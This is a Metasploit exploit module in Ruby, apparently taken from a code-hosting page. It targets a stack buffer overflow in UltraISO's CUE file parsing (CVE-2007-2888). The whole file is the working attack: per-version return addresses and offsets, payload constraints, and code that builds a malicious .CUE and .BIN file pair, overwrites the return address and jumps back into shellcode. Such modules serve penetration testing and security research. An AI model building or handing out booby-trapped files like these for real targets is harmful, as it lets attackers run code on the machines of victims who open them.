127 lines
3.9 KiB
Ruby
127 lines
3.9 KiB
Ruby
##
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# This module requires Metasploit: http//metasploit.com/download
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# Current source: https://github.com/rapid7/metasploit-framework
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##
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require 'msf/core'
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class Metasploit3 < Msf::Exploit::Remote
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Rank = GreatRanking
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include Msf::Exploit::FILEFORMAT
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def initialize(info = {})
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super(update_info(info,
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'Name' => 'UltraISO CUE File Parsing Buffer Overflow',
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'Description' => %q{
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This module exploits a stack-based buffer overflow in EZB Systems, Inc's
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UltraISO. When processing .CUE files, data is read from file into a
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fixed-size stack buffer. Since no bounds checking is done, a buffer overflow
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can occur. Attackers can execute arbitrary code by convincing their victim
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to open an CUE file.
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NOTE: A file with the same base name, but the extension of "bin" must also
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exist. Opening either file will trigger the vulnerability, but the files must
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both exist.
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},
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'License' => MSF_LICENSE,
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'Author' =>
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[
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'n00b', # original discovery
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'jduck' # metasploit version
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],
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'References' =>
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[
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[ 'CVE', '2007-2888' ],
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[ 'OSVDB', '36570' ],
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[ 'BID', '24140' ],
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[ 'EDB', '3978' ]
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],
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'Payload' =>
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{
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'Space' => 1024,
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'BadChars' => "\x00\x0a\x0d\x22",
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'DisableNops' => true,
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'PrependEncoder' => "\x81\xc4\x54\xf2\xff\xff",
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},
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'Platform' => 'win',
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'Targets' =>
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[
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# BOF @ 0x005e1f8b
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# The EXE base addr contains a bad char (nul). This prevents us from
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# writing data after the return address. NOTE: An SEH exploit was
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# originally created for this vuln, but was tossed in favor of using
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# the return address method instead. This is due to the offset being
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# stable across different open methods.
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[ 'Windows - UltraISO v8.6.2.2011 portable',
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{
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'Offset' => 1100,
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'JmpOff' => 0x30, # offset from the end to our jmp
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'Ret' => 0x00594740 # add esp, 0x64 / p/p/p/r in unpacked UltraISO.exe
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}
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],
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[ 'Windows - UltraISO v8.6.0.1936',
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{
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'Offset' => 1100,
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'JmpOff' => 0x30, # offset from the end to our jmp
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'Ret' => 0x0059170c # add esp, 0x64 / p/p/p/r in unpacked UltraISO.exe
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}
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],
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],
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'Privileged' => false,
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'DisclosureDate' => 'May 24 2007',
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'DefaultTarget' => 0))
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register_options(
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[
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OptString.new('FILENAME', [ true, 'The file name.', 'msf.cue']),
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], self.class)
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end
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def exploit
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off = target['Offset']
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jmpoff = target['JmpOff']
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sploit = "\""
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sploit << payload.encoded
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sploit << rand_text_alphanumeric(off - sploit.length)
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# Smashed return address..
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sploit[off, 4] = [target.ret].pack('V')
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# We utilize a single instruction near the end of the buffer space to
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# jump back to the beginning of the buffer..
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distance = off - jmpoff
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distance -= 1 # dont execute the quote character!
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jmp = Metasm::Shellcode.assemble(Metasm::Ia32.new, "jmp $-" + distance.to_s).encode_string
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sploit[off - jmpoff, jmp.length] = jmp
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sploit << ".BIN\""
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cue_data = "FILE "
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cue_data << sploit
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cue_data << " BINARY\r\n"
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cue_data << " TRACK 01 MODE1/2352\r\n"
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cue_data << " INDEX 01 00:00:00\r\n"
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print_status("Creating '#{datastore['FILENAME']}' using target '#{target.name}' ...")
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file_create(cue_data)
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# This extends the current class, and changes the file_format_name.
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# This allows us to use the file_create(data) to store the created
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# file in the correct directory.
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class << self
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def file_format_filename
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datastore['FILENAME'].gsub(/\.cue$/, '.bin')
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end
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end
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file_create('')
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end
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end
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